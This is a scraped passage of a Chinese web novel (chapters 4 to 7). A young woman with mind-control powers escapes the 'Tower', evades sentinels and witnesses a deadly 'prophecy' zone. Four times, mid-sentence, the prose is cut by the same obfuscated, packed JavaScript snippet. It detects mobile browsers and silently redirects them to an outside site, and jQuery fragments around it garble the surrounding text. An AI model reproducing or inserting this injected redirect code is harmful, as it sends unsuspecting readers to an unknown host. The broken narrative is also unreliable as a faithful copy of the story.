那双眼睛,很黑,很冷,泛着一点闪烁的光,没有任何感情色彩,像一颗宝石,或者别的什么幽深的东西,总之不像是人的眼睛。 丛泠也睁大了双眼,她看不清眼前的人,只是凭借本能去捕捉那一点光亮。 可是那点光缥缈不定,像夜里海面泛起的微光,一闪一闪,转瞬即逝。 什么人会像他这样呢,被长久地束缚在这样一个狭窄的容器里,全身捆满绳索,就连苏醒与否都要他人来控制。 这不是一个人应该得到的待遇,塔台对待他,像是对待一把没有生命的兵器。 丛泠觉得有点难过,这种情绪不是她的本意,只是莫名其妙地就浮现出来。 四周安静极了,只有细微的呼吸声,交错在一起。 “然后呢?”丛泠问。 身后响起了脚步声,克莱尔迟疑地走近,她听上去非常困惑,“……再等等,你再往前走一段距离。” 为什么没有反应呢? 第十三号哨兵的启动速度非常快,解除休眠状态后,几乎是瞬间就能洞察环境的变化,任何陌生的信息都不会逃过他的眼睛,既然这样,为什么…… 克莱尔下意识就要转身,她想要再次检查基因检测的结果,但刚才已经检查过一次了,没有错,匹配度是百分之八十以上。 这个结果已经是超乎预期,对于一对从未见面的哨兵与向导来说,接近伪造,既然这样,为什么眼前的哨兵会毫无反应? 克莱尔不想再遭到上级的责骂,这一次她决定要耐心一点。 耐心等待吧。 …… 只是,不知为什么,越是劝自己耐心一点,脑子里就有一个声音开始催促她:情况不太对啊,走近一点,去检查一下吧,那么谨慎做什么,你知道的,不会有危险。 丛泠听见了身后的脚步声,一步一顿,克莱尔正在徐徐走近,这脚步声透着一股古怪,像是卡顿的机械,仿佛她的身体和她的意志并不统一,这样一个简单的动作,也要争夺控制权。 丛泠没有回头,她只是往旁边让了一步,给克莱尔让出位置。 墙上,休眠仓里的哨兵依旧睁着眼睛,他的目光停在丛泠身上,即使克莱尔已经走到他面前,挡住了他,他的视线始终没有移开。 克莱尔头脑发昏,再清醒过来的时候,她发现自己已经走到了第十三号哨兵的面前,两人之间只隔了半米不到的距离。 冷汗瞬间流下来,克莱尔几乎被吓醒了,她精神一振,立刻就要往后退。 “你想做什么?”旁边一个声音问。 丛泠不知何时已经站在了她的身后,她们两人的位置忽然颠倒过来。 丛泠像是完全没有意识到这些变化,她打量着克莱尔,很好奇地问:“你的手在抖,你站得离他很近啊,你到底想做什么?” 克莱尔什么也不想做,她想这样说,但她一个字也说不出来,她的四肢像是有了自己的意志,她脚下一动不动,仿佛生根,双手却伸到了腰间,拔出一把匕首,那动作果决利落,没有一丝犹豫。 不,不…… 她的声音在脑子里尖啸,却无论如何说不出一个字,与之对应的是,她的面部表情十足狰狞,她双手紧握匕首,对准了第十三号哨兵的胸口,狠狠地扎下去! 【警报!第十三号哨兵遭到破坏】 【警报!第十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322294|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三号哨兵遭到破坏】 当刀尖刺破哨兵皮肤的那一刻,这巨大的冰室翻涌出红光,尖利的警报响彻了整层空间。 门外的走廊响起整齐划一的脚步声,有军队正快速赶过来,门是提前锁上的,但要不了多久,就会被暴力破开。 克莱尔愣在原地,她手掌剧烈颤抖,沾着血珠的匕首掉在地板上。 丛泠伸手拨开克莱尔的衣领,从她衣襟的口袋里取出一张小小的通行卡片,她刷开了房间内的电梯,施施然走进去。 普通的锐器不会给哨兵造成伤害,他们身体素质早就不能以寻常人的标准来衡量,心口的刀伤对普通人是致命的,对他们来说,就像是被针扎了一下。 只不过,竟敢伤害哨兵,使得塔台的重要资产遭到破坏,克莱尔这次可是犯下了大错。 电梯门快要合上的前一秒,丛泠看向了哨兵的方向。 克莱尔浑身脱力,早已经摔在地上,她这道障碍消失不见,第十三号的视线再没有阻隔,准确地落在了她的脸上。 丛泠和他四目相对。 警报闪烁的红光照亮了这片角落,也照亮了他的面孔,一张很年轻,很苍白,很英俊的脸。 他的眼睛很黑,很亮,嵌在这样一张未经风霜的脸庞上,像是很纯真,又无辜的一个人。 他胸口的衣服被血浸湿,洇开一大片湿润,但他没什么反应,反倒是发觉丛泠也在看他,这一瞬间,他忽然笑了一下。 莫名其妙。 金属门合上的前一秒,丛泠轻轻皱了皱眉。 电梯运行速度很快,这应该是应急通道,一旦有紧急情况,能够让顶层的哨兵与工作人员转瞬之间到达大厅。 十秒后,丛泠回到了地面。 塔台内部一片混乱,丛泠和混乱的人群擦肩而过,她慢腾腾地往外走,没有一个人注意到她。 但这种被忽视的效果是有时间限制的,最多再持续半分钟。 这短暂的三十秒,不足以让她逃出生天,只是能给她一些喘息的空间,让她走出大厅,走到这座巍峨的建筑物之外。 以塔台为中心,方圆一千米内,不存在其他的建筑物,丛泠走出大门,站在黑塔的阴影之下,努力地远望,勉强能看到远处模糊蜿蜒的山脉。 越来越多的脚步声逼近了,丛泠没有回头,她看准了一个方向,加快步伐往那里走去。 身后传来一声冷笑,是克莱尔的声音,看来她已经调整好状态,并亲自加入了这一支追捕队伍。 很多脚步声缀在丛泠的身后,她快他们就快,她慢他们就慢,还有许多衣服摩擦声,簌簌、簌簌,就连这声音也是整齐统一的。 那是塔台的士兵们,训练有素,令行禁止。 他们本可以很轻松地追上来,却偏偏没有这样做,不知道是谁下达的命令,知道她不可能突出重围,就干脆像猫捉耗子一样,绕着圈子追着她玩。 终于,在丛泠的脚步越来越慢,快要力竭的时候,她的前方快速升起一圈金属栅栏,不偏不倚挡住她的去路。像一种无声的嘲弄。 而在更远的一段距离,出现了一列一列包抄过来的士兵队伍,以及几个黑漆漆的高大人影。 那是哨兵? 作为如今世界上最强大的单兵武器,哨兵的数量一向是稀少的,听说北部塔台一共只有七个现役哨兵,全世界也只有不足二十个合乎标准的哨兵。 现如今,仅仅是为了追捕她这样一个普通人,塔台就摆出了这么大的阵仗? 该不该感到荣幸呢? 克莱尔的声音又出现了,傲慢,又冷淡,她盯着丛泠的背影说:“你太不自量力了。” 5. 第 5 章 “我承认你有些能力,但那不过是一些小把戏,算不了什么。为了塔台的利益,这一次,我可以容忍你的冒犯。” 克莱尔说:“跟我回去,你的测试还没有做完。” 丛泠站在原地,一边深呼吸,一边弯下腰撑住膝盖,敲了敲自己的小腿。 现在的状况其实有些超出她的预想,她没有想到塔台会这么执着,像条疯狗一样咬着她不放。 它们本可以换一个更合适的人,不是吗? 正如内三区居民们赞颂的那样,能为塔台效力,是一件非常荣幸,非常“幸运”的事,只要敞开大门,放宽条件,一定有许多人争着抢着应召。 为什么偏偏不肯放过她,一定要强迫她? 嗡嗡嗡,嗡嗡嗡,克莱尔还在说些什么,但丛泠一个字都听不清楚,她心里又燃起愤怒,这些猛烈的负面情绪刺在脑子里,泛起一阵阵尖锐的疼痛。 焦躁到一定程度,她反而平静下来,说到底,她也厌烦了这种时不时就要躲藏的生活。 或许今天就是结束了。 丛泠站在原地一动不动,看在旁人眼里,一定认为她是屈服了、放弃了、终于分清利弊,可以好好合作了。 事实上,她只是在想,这里真宽阔啊,这么平坦,这么干净,脚下的青草松软芬芳,远山的雾气也很美……如果没有这么多讨厌的人就好了。 生命是宝贵的,正因为它如此脆弱,所以才如此珍贵。 克莱尔对于塔台似乎有种狂热的崇拜,愿意为了塔台奉献一切,因此,即使丛泠是如此不识好歹,不服管教,只要她的存在对塔台有作用,克莱尔就不会擅自伤害她。 但如果,不伤害丛泠,就要伤害她自己呢。 把塔台的指令和克莱尔自己的生命放在同一天平,假如必须要舍弃一个,她会怎么选择呢? 丛泠终于回过头来,她的视线往下,落在克莱尔身侧的配枪匣。 克莱尔像是提前看穿了她的意图,轻蔑一笑,“你的那些小伎俩对我已经没用了。” 显然,克莱尔已经吸取了刚才的教训,她匆匆赶来,手背上的血都没来得及擦干净,却不忘在身上安装一个精神力屏蔽器,试图用这个来抵挡丛泠的精神操控。 丛泠的异能很危险,但她实在太生涩,操纵别人精神的手法也十分蹩脚,只要提前防范,就可以应付。 克莱尔这样想着,就看见身侧的两个士兵徐徐抬起了枪口,对准了自己。 克莱尔悚然一惊,她下意识往后缩了一步,却发现更多的士兵调转方向,面容扭曲,挣扎着把枪口对准了她的身体。 这片空间陷入诡异的沉默。 这里本来是个小小的包围圈,丛泠是被困在其中走投无路的猎物,谁曾想猎人之间起了内讧,画面一下变得古怪起来。 丛泠忍耐着脑子里越来越强烈的疼痛,对克莱尔说:“看来你的下属对你不太满意。” 克莱尔本能地举起武器,挡在身前,可四面八方都是枪口,她甚至不知道该先挡住哪边,她开始后悔自己的轻率,同时憎恨起这个该死的……该死的! 克莱尔忽然意识到什么,双手颤抖着,把枪口对准了丛泠的方向。 丛泠忍不住笑了下,对她点点头,“对,你找到办法了。” 在今天之前,丛泠从来没有真正利用异能去操控过别人的思维,她一直是躲、藏,遮遮掩掩,尽力使别人忽视她。 克莱尔是第一个例外。 再然后,就是现在了,她也是第一次试着同时把指令灌输进这么多人的大脑,第一次尝试,竟然就成功了。 丛泠忍受着全身快速扩散的剧痛,她想,如果是这样,她大概明白塔台对她这么执着的原因了。 丛泠的身体快到极限,指尖开始痉挛,她紧盯着克莱尔,努力平稳语调,提醒她,“你应该知道吧,我的大脑才是关键。” 克莱尔惊疑不定,却还是下意识把枪口往上提,从瞄准丛泠的肩膀,变成了瞄准丛泠的额心。 丛泠并不想死,更不想这样草率地死在别人的枪口,但她实在是很好奇,克莱尔会怎么选择呢? 按照生物本能来说,克莱尔当然会选择自保,但……塔台的人全都精神不正常,或许她早就疯了呢。 丛泠真的不明白,为什么会有这么多人甘愿舍弃自己的人生,投身于这样一个残忍专断的组织。 场面僵持了一瞬,这一瞬间显得格外漫长。 当克莱尔的手指扣下扳机时,丛泠心里闪过一丝后悔。 克莱尔使用的精神力屏蔽器并不完全可靠,虽然丛泠不能再操控她的行动,却还是可以对她施加影响,比如让她视野偏移、让她的反应减缓之类的。 但这并不能做到百分百保险,丛泠把自己置身于克莱尔的枪口下,依旧是一种非常鲁莽的行为。 克莱尔开枪了,她的方向偏得厉害,但子弹还是擦过丛泠的肩头,留下一道灼伤。 紧接着,在丛泠的影响下,士兵们也开枪了,有人击中克莱尔的脚尖,还有人只是打乱了她面前的草丛。 克莱尔发出一声嘶吼,她奋力往前扑,像是被愤怒冲昏了头脑,再顾不上什么塔台的命令,她一门心思要教训眼前这个贱人,杀了她! 几乎在同一时刻,远处传来一声巨响,连带着地面都震颤了一下。 塔台顶部响起不断的警报与尖叫,克莱尔连同士兵们的耳边都收到了同一则紧急通知。 【A级警报,红色事件,哨兵狂化,可采取极端措施】 这道声音直接灌输进大脑,唤醒了所有人的理智,克莱尔也醒悟过来,她顾不上处理丛泠,率领士兵们,往塔台的方向狂奔。 红色事件的优先级高于一切,克莱尔现在必须去到最需要她的岗位。 丛泠的面前一下变得空落落的,似乎一下就无人理会,可以去留随意。 但当她转过身,金属栅栏还架在原来的位置,挡住她的去路,更远处,黑漆漆的人影也静静地注视着她。 从一开始,克莱尔就知道她逃不掉,即使她奋力挣扎,可以冲开士兵们的包围圈,也无法破开最后一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322295|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道由哨兵组成的屏障。 至于精神层面的操控,她只是一个未经训练的普通人,即使天赋异禀,又怎么可能对塔台的现役哨兵施加影响? 丛泠看上去狼狈极了,她的衣服上划了好几道血痕,身上那些乱七八糟的伪装也不知道哪里去了,她看上去很虚弱,过度使用精神力,让她的脸上毫无血色。 而远处的哨兵们是如此高大强健,仅仅是站在那里,就是一道坚不可摧的牢门。 丛泠眼前有些模糊,她环视一周,找准一个方向,往那里一步步走过去。 假如克莱尔还在这里,看到此情此景,她一定会发笑。 该说这个贫民女孩眼光独到,还是运气极差呢,在那一圈金属栅栏之外,一共还剩三个方向,有三位驻守的哨兵,而丛泠不偏不倚,直直走向了那个作战风格最为残忍无情的哨兵。 第十一号哨兵,女性,身形偏瘦。因此,在团队作战时,常常有人轻敌,拿她当做突破口。 但每一个这样做的人都会后悔。 第十一号哨兵以头脑冷静、克制出名,她的五感突出,视觉极为敏锐,她可以一眼看透敌人最薄弱的弱点,然后精准捣毁,整个过程十足迅捷,从生到死只在一个瞬间。 许多异兽,或者叛徒,死在她凛冽的刀锋,直到生命消亡的那一刻,都没能反应过来。 丛泠一步步往那个方向走去,她很早就看见了那个哨兵,她的面容藏在黑漆漆的护具之下,但耳后的皮肤露了出来,上面覆盖着青色的编码,第十一号。 不知不觉中,气温逐渐攀升,不知道塔台顶部到底出了什么事,到了现在,还不断有爆炸声传来,还有一团团火焰往下坠落。 远处的轰然巨响,衬托得这里更像是一片死水,沉默,无尽的沉默。 当丛泠走向第十一号哨兵,其他的几个黑漆漆的影子就都收回了目光,大概在他们看来,这项任务已经宣告结束,他们只需要等待。 丛泠的身体很疲惫了,耳朵里也有无尽的轰响,她不喜欢刻意去回忆往事,但不知为什么,很多旧日的片段忽然就涌上心头。 很多笑声,很多哭声。 她猛地摇头,感觉一股热流从耳朵里流了下来。 丛泠越走越近,离第十一号哨兵只剩一步之遥,她加快了脚步,哨兵却做出了一个闪避的姿态,飞快侧身,和丛泠擦肩而过。 远处的几道视线又投了过来,其他哨兵们应该是感到了异样,有些疑惑,第十一号哨兵背对丛泠,对同伴们做了几个手势,同伴们沉默着移开了视线。 丛泠就这样一步一步走出了哨兵们的包围圈,她离塔台越来越远,她安全了,自由了,她应该感到庆幸,但她无法抑制,一行眼泪掉了下来。 丛泠的眼睛是幽冷的绿色,此时被泪水浸洗,像是一片澄澈的湖泊。 在丛泠身后,第十一号哨兵往她的方向留下一瞥,隔着遥远的距离,冰冷漆黑的护具之下,哨兵的一双眼睛隐约显现。 那是一双与丛泠极为相似,却又更加幽深沉郁的眼睛。 6. 第 6 章 不知道时间过去了多久,等到丛泠再回过神,她已经站在汹涌的车流之中。 迎面一辆卡车飞驰而来,丛泠想躲开,身体却只能僵在原地,危急时刻,旁边伸出一双手,用力推了她一把。 她和那个推她的人一起摔倒在花坛边。 卡车司机骂了几声,重新汇入车流,丛泠坐在地上,耳边轰鸣消失后,她听见很近的地方有人在问:“你还好吧?” 那是一个陌生的年轻女孩,丛泠没见过她,却记得她的声音。 当丛泠待在塔台上那条灰色走廊里的空房间时,一左一右有两个人在聊天,眼前这个女孩就是其中之一,而且是先开口的那一个。 “你认出我了?”陌生女孩捕捉到丛泠的眼神变化,伸出一只手在丛泠眼前晃了晃,“你好,我是珍妮。” 珍妮是作为向导候选人出现在塔台的,当然也有相应的精神类能力,具体是什么倒不知道,只看外观,她有一头漂亮的棕色卷发,脸上有些雀斑,整个人像一团精力蓬勃的火。 丛泠有些戒备地看了她一眼,但还是说了自己的名字。 珍妮顺势把她从地上拉了起来,“原来你是东方人啊,神秘古老的种族……连你也没有通过测试吗?啊,你、怎么受伤了?” 珍妮指了指丛泠的脸颊和耳朵。 丛泠伸手碰了碰,摸到一点干涸的血迹,她没有回答前两个问题,只是说:“我刚才不小心摔倒了。” 珍妮笑了笑,显然不太相信,不过也没有追根究底的意思,她说:“好吧,既然这样,你也没有留在塔台,那你接下来有什么打算呢。” 这样简单的一个问题,丛泠竟然愣住了,她很少思考未来的事,她的生活似乎总是在被动地接受变化,几乎不会主动去计划什么。 偶尔计划些什么,也总是会被突如其来的变故打破,长此以往,她几乎不会再主动展望些什么。 丛泠回想起不久前的对峙,身体上的疼痛逐渐消退,但后怕却慢慢涌上心头。 她当时被愤怒冲击,不计后果,自以为做出了一种很勇敢的抗争,最坏的结果也不过是鱼死网破、玉石俱焚。 但现在看来,哪怕她死了,塔台也不会失去什么,她那些鲁莽用力得有些可笑的举动,对塔台来说,只是蚍蜉撼树。 丛泠不说话,珍妮却不喜欢沉默,她主动说起了自己的计划,“听说之后几天塔台还有一个待遇不错的职业选拔,我打算去试试,你要一起吗?” 丛泠胡乱回答:“不,我想先回家。” 丛泠不打算回家,现在回家,无非是再重复一遍这几天的经历。 这几天发生的事对她是一个很严重的打击,她深感自己的无力,渴望发生一点改变,她希望变得强大,她希望在将来面对塔台的时候有足够的砝码。 但是,该怎么做呢。 她的天赋该如何运用?如果不接受塔台的训练,该怎么样才能变得更强?如果不依赖训练,那么最快捷的办法就是…… “你家在哪个区?我也想早点回去,但B区有预言降临,那片区域周围的道路都禁止通行,我暂时回不了家。” 丛泠忽然顿住脚步,她问:“你是说北部B区?” 珍妮笑眯眯地点头,“对呀,我家就在那边,而且很早就提交申请了,可惜没有通过,预言区不让我进去,向导也不让我当,如果连别的工作都不给我,我就要去投诉了。” 丛泠哑然,内三区的居民和塔台的关系果然要融洽很多,怎么可以用这么轻松的语调说出这些话呢。 不知不觉间,两人走到一个岔路口,丛泠看向珍妮,对她说:“再见。” 珍妮睁大了眼睛,伸手拉住她,“等等,你要去哪里?你有住的地方吗?” 珍妮看上去有点为难,打量丛泠,“你是第一次来内区吧。” 丛泠点了点头,不打算再开口,脚下不停,随便挑了一个方向就要走。 珍妮却像是看不懂她的拒绝,很快跟了上来,“马上就天黑了,内三区有宵禁,不能随意在公共区域逗留,你身上有血迹,本来就很可疑,如果没有塔台提供的工作证明,你不能入住任何一家旅社。” “……还会被扭送警局。”珍妮补充道。 丛泠停下了,她问珍妮,“你有什么办法吗?” “当然了,跟我走吧,我可以帮你,无论你接下来打算去哪儿,今晚总需要休息的,不是吗。” 丛泠心里有很多疑惑,也有一些警惕,但她从未有过与同龄人交朋友的经历,不知道正常交往的界限,或许内三区的人本来就是这样热情善良,乐于助人? 丛泠跟在珍妮身后,走进了一家旅社,珍妮提供了她的身份证明以及最近一个月的行动轨迹,珍妮挽住丛泠的胳膊,对工作人员说:“我们一起,这是我的朋友。” 总之,丛泠成功住进了一间十分正规的旅社,虽然是和珍妮同住一个房间,但这个房间很大,有两个隔开的单人间,也算是很好的结果了。 珍妮关上了她房间的门,丛泠也回到了自己的单人区域。 房间内部贴满了灰色的壁纸,有一扇小小的窗户,窗户外是深蓝色的天空,远处的街道都暗了下来,这个时间段,果然没有人在外面活动,连路灯都熄灭了。 丛泠在窗边站了一会儿,这里地势高,风也大,没过一会儿,她的双手就变得僵硬,脸上也开始刺痛。 丛泠总忍不住去想玛德琳现在怎么样了,她逃跑了,塔台会不会再去找玛德琳的麻烦?毕竟,玛德琳是她唯一的监护人…… 丛泠脑子里无法避免地又闪过一双绿色眼睛,她猛地摇头,试图把它从脑子里甩出去。 丛泠很担心玛德琳的情况,却又明白这样的担忧是无意义的,除非她向塔台妥协,接受塔台的管制,从此获得一个新的身份,再也不必躲藏,玛德琳自然也就安全无虞。 可是……不行,不可以,如果玛德琳此时在这里,她也绝对不会同意。 那么,就只有去预言区试一试了,虽然没有得到官方的准入许可,但丛泠总有办法可以进去。其实,今天即使没有珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322296|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妮的帮助,丛泠也可以神不知鬼不觉地进入旅社。 不过,现在这样也很好。 丛泠关上窗户,躺在床上,她用力闭上眼睛,决定好好睡一觉,等到明天,就出发去北部B区,去那个紧急通知里提到过的废弃冶炼厂。 * 丛泠眼皮颤动,呼吸急促,好热,好烫,她汗如雨下,全身热得发痛,仿佛一不小心踩进了熊熊烈火,四面八方都在灼烧。 她睁开眼,发现整个世界变成了红色,耀眼刺目,而且这片红色越来越大,越来越浓,快要遮天蔽日。 四周响起了尖叫哭嚎,迷雾之中有很多人,他们同时处于一种巨大的痛苦中。 丛泠茫然四望,又尝试着往前走了两步,她看到了一条宽阔的河,河水滔滔,泛着火红的光,她走到河水边缘,往下一看,终于明白空气这么灼热的原因了。 河水的倒影里,映出红色的天空,无数燃烧的陨石从天上砸下,落在沸腾的河水里,掉在仓皇逃窜的人身上。 丛泠感觉痛苦极了,四肢麻木,口不能言,但其实不应该啊,她检查自己的身体、皮肤,没有一丝火星掉在她的身上。 她睁开眼,看见旅社一尘不染的天花板。 是梦吗? 丛泠很少做梦,几乎是从不做梦,因此,她费了一点时间才让自己彻底清醒过来。 天快亮了,丛泠走出房间,去到旅社前台,准备在离开前给珍妮留一则消息。 然而,工作人员告诉她,与她同住的那位朋友,在半夜就已经退宿离开了。 好吧,丛泠点点头,没有多说什么,还是按照原本的计划,快速走出了这间旅社。 * 不同于塔台中心的严肃冷寂,眼前的几条街道竟然十分热闹。 早餐的香气,晨起散步的人们,在路口随意交谈的路人们。 这种热闹并不吵闹,甚至是平静、温馨的,丛泠心里有些惊奇了,这里和她生活过的几个城区实在太不一样。 就像是,他们都很幸福,很满足,真奇怪,当他们感到幸福的时候,不会觉得愧疚吗?他们从来不会想起那些被牺牲的人吗? 丛泠面无表情地穿过一层层人群,停在一处公告栏。 这里也很热闹,但气氛又有所不同,大部分人都站在同一张公告之下,他们交头接耳,眼神相互传递,流露出不安惶恐的情绪。 丛泠也往那个方向看了一眼,那里显示的是一则紧急通知,大意是——某某哨兵状况不佳、多名塔台工作人员也在战斗中负伤,一号塔台现面向社会急聘大量医疗人员。 丛泠脚步稍微顿了一顿,她似乎扫到了一个“第十三号”的字眼。 不过,她也仅仅只是停顿片刻,很快就绕开拥堵的人群,走到了她真正想看的信息面前。 那是一张实时路线图,显示着周边的交通状况,由于预言即将降临,北部B区实行道路管控,许多公共交通轨道都被停止使用。 丛泠记下了地图,走向那个标注着“禁止通行”的路口。 7. 第 7 章 丛泠跳下一辆货车,沿着一条电车轨道继续往前走。 附近的几条公路都被封住,沿途一个人也没有,大概四十分钟后,丛泠才终于看到一片老旧的建筑群,以及一个锈迹斑斑的工厂大门。 她在原地等了一会儿,小心避开巡逻的士兵,从缠满爬山虎的围墙翻了进去。 这座冶炼厂大概在三十年前就已经停止使用,部分厂房在当时就被拆除了,却迟迟没有做新的规划,留下了很多突兀的空地。 据说是因为土壤污染严重,那些区域暂不考虑做其他用途。 不过,这也只是流传在本地居民当中的说法,并没有什么官方的机构出来证实这一点,后来也就没人再提了。 丛泠快步走过一处空地,把自己藏在几栋楼的阴影之间,行动间,她下意识捂住了口鼻。 这里的环境看上去确实不太好,到处都透着一股灰暗阴沉,不知道是不是心理暗示,就连空气都有点难闻。 丛泠站在一道矮墙后面,透过镂空的窗户往外看,这里本来有个玻璃窗,玻璃碎了,就只剩个空框。 眼前不远处就是厂区内面积最大的一片空地,原本散落的砂砾石块都被清走了,又临时搭建起几十顶帐篷——这是为那些得到官方许可,可以接受预言辐射的幸运儿准备的。 “预言降临”这个过程,并没有一个确切的开始时间,它甚至都不一定会开始,只是有这么一种可能性。 塔台检测到某地某段时间可能发生预言,就会下发通知,筛选合适的人去参与。 按照惯例,每次预言降临,会预留出整整两天的等待期,如果等到了第三天,这片区域还是没有任何能量场的波动…… 那很遗憾,本次预言宣布失效。 这也是常有的事,本年度一共有大大小小三十多次预言,成功生效的也不足半数。 许多人奔波劳碌,整年不间断地跑到全球各地,也没能让自身的异能提升一丝半点。 但即使是这样,也还是有无数人前仆后继,争抢着,挖空心思要去申请,换一张准入资格证。 没办法,春天快要到来,气候变化太迅猛,四季更迭的时候,总是会发生更多灾难。 眼看着生存环境变得越来越危险,大多数人无能为力,只能从自己身上下手,试试这仅有的渺茫的办法。 丛泠安静地待在这个角落,看着空地上的人越来越多,根据塔台给出的信息,预言开始的时间最早应该是明天凌晨三点,大家都来得很准时。 时间缓慢流逝,丛泠像是一棵生长在角落里的植物,一动不动地蛰伏。 入夜了,空地里的人们都钻进各自的帐篷,远处的废旧大楼里亮起点点灯光,那是塔台派出的武装部队,监视着这片范围的异动。 有风从头上呼呼刮过,丛泠摸了摸自己的胳膊,她不觉得冷,但确实感到了不适,她有种古怪的被窥视感,像是有什么人正注视着自己。 丛泠把呼吸放得更轻,整个人依旧藏在阴影里,周围无声无息,并没有什么异常。 大概是昨晚休息不好的缘故,丛泠有点累了,她靠在墙角,睡了过去。 * 丛泠眼皮颤动,呼吸急促,好热,好烫,四面八方都在灼烧。 丛泠睁开眼睛,被眼前的火光闪了一闪,她的视线正对着窗户的空框,框外的天空被红色充斥,又布满浓烟,像是噩梦里的场景。 丛泠霍然起身,她愕然地看着眼前这一切,眼前的画面莫名的有些熟悉,这是梦吗? 这不是梦。 无数燃烧的陨石从天上砸下,击中被框住的那片空地,掉在帐篷上,帐篷燃烧起来,掉在四处奔逃的人们身上,人们惨叫起来。 丛泠从藏身的这栋空楼里跑出,她抬起头来,看向不远处耸立的高楼,那是塔台队伍驻扎的地方。 那里平静极了,时不时还有光束扫下来,显然对这里发生的一切都了如指掌,却无动于衷。 这到底是怎么回事? 丛泠试着去弄懂眼前发生的一切,这就是预言吗?她从来没有经历过,也无法辨别,但是,在她看来,这就是纯然的天灾。 时间分秒流逝,周围的喊叫声越来越凄惨,丛泠几乎无法思考,她受不了了。 和普通人能拥有的感受不同,即使是在同一环境,同一时刻,什么也不做,丛泠能感知到的情绪也是旁人的数百数千倍。 无数人的哭嚎直接冲进她的脑海,背后似乎有无数双手脚推动着她,催促她,帮帮他们!救救他们! 丛泠下意识飞奔起来,她从一道道光束中穿过去,正要跨过空地外那道看似脆弱的木栅栏,忽然,一股力量绊住了她。 这力量很微弱,像是一阵风撩动她的头发,没什么危险性,但离得太近,让她感到一种悚然。 丛泠停下来,回过头,看见远处有一道黑色的影子。 那道影子定定站在原地,偶尔有银光一闪,大概是什么金属材质的反光,如果那是个人,那么他的面部表情似乎动了动,但离得太远,丛泠根本什么也没看清。 …… 管它是什么东西,既然不阻止她的行为,那就是默认,丛泠顿了顿,继续往前。 又有另一个声音叫住了她。 “嗨,你果然也在这里。” 那是一个年轻女孩的声音,有几分熟悉。 丛泠又看向另一个方向,那里站着一个红棕色卷头发的女孩,“珍妮。” 珍妮从那栋属于塔台工作人员的大楼里走出来,她换了一身装束,看起来就像是一个年轻版的克莱尔,只是肩头光秃秃的,没有什么功勋奖章。 “看来你成功进入塔台工作了。”丛泠说道。 “是的!”珍妮的语调不自觉地扬了起来,“塔台有很多工作机会,这太棒了。” 丛泠憎恨塔台,连同憎恨那些忠诚得仿佛丧失人格,誓要永远与塔台同生共死的工作人员。 不过,像珍妮这种仅仅是为了得到一份工作而加入塔台的人,丛泠倒没有太抵触。 无论珍妮是如何得到这份工作,得到工作的过程和珍妮接近丛泠这件事有没有关系,丛泠都不在乎。 丛泠对珍妮点了点头,视线又调回去,回到空地里四处逃窜的人们身上。 经过这几次打岔,丛泠的情绪暂时冷却了一点。 除此之外,当她越来越靠近这片区域,最终站在边界的时候,她也发现了一些怪异之处。 圈住这片空地的栅栏,是最普通的木头材质,高度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15322297|167535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不足一米,不要说是困住一群有足够力量的成年人,就连用来困住一群圈养的家禽都不够牢固。 丛泠本以为这道脆弱的栅栏只是障眼法,这里还有什么隐形的牢门,又或者是个有进无出的结界空间,但她伸出手去探了探,什么都没有,只是空气。 也就是说,此时那些在里面哀嚎哭喊的人,只要愿意,是可以自己走出来的。 只要走出来,走出这片划定好的区域,那些仿佛定点降落的燃烧的陨石,自然也无法再伤害他们。 “没错,就是你想的那样,”珍妮适时开口,“这是他们自己的选择。” “……我不明白。”丛泠感到了茫然。 “别那么紧张,物竞天择,世界的法则一直都是这样啊。”珍妮耐心地对丛泠解释,她有些无奈地笑了,就像一个很宽容的老师,面对一个上课只知道走神的学生。 珍妮看了看时间:“刚好凌晨三点,这次的预言很准时。” “只要能通过考验,就有机会得到更强大的力量,条款摆在那里,如果被淘汰,那也是没办法的事,说到底,这是很公平的。” 被淘汰是指……? 这个问题其实不需要问出口,看看眼前就知道了,预言区里的许多人,逐渐没有了跑动的力气,也没有了呼吸的力气。 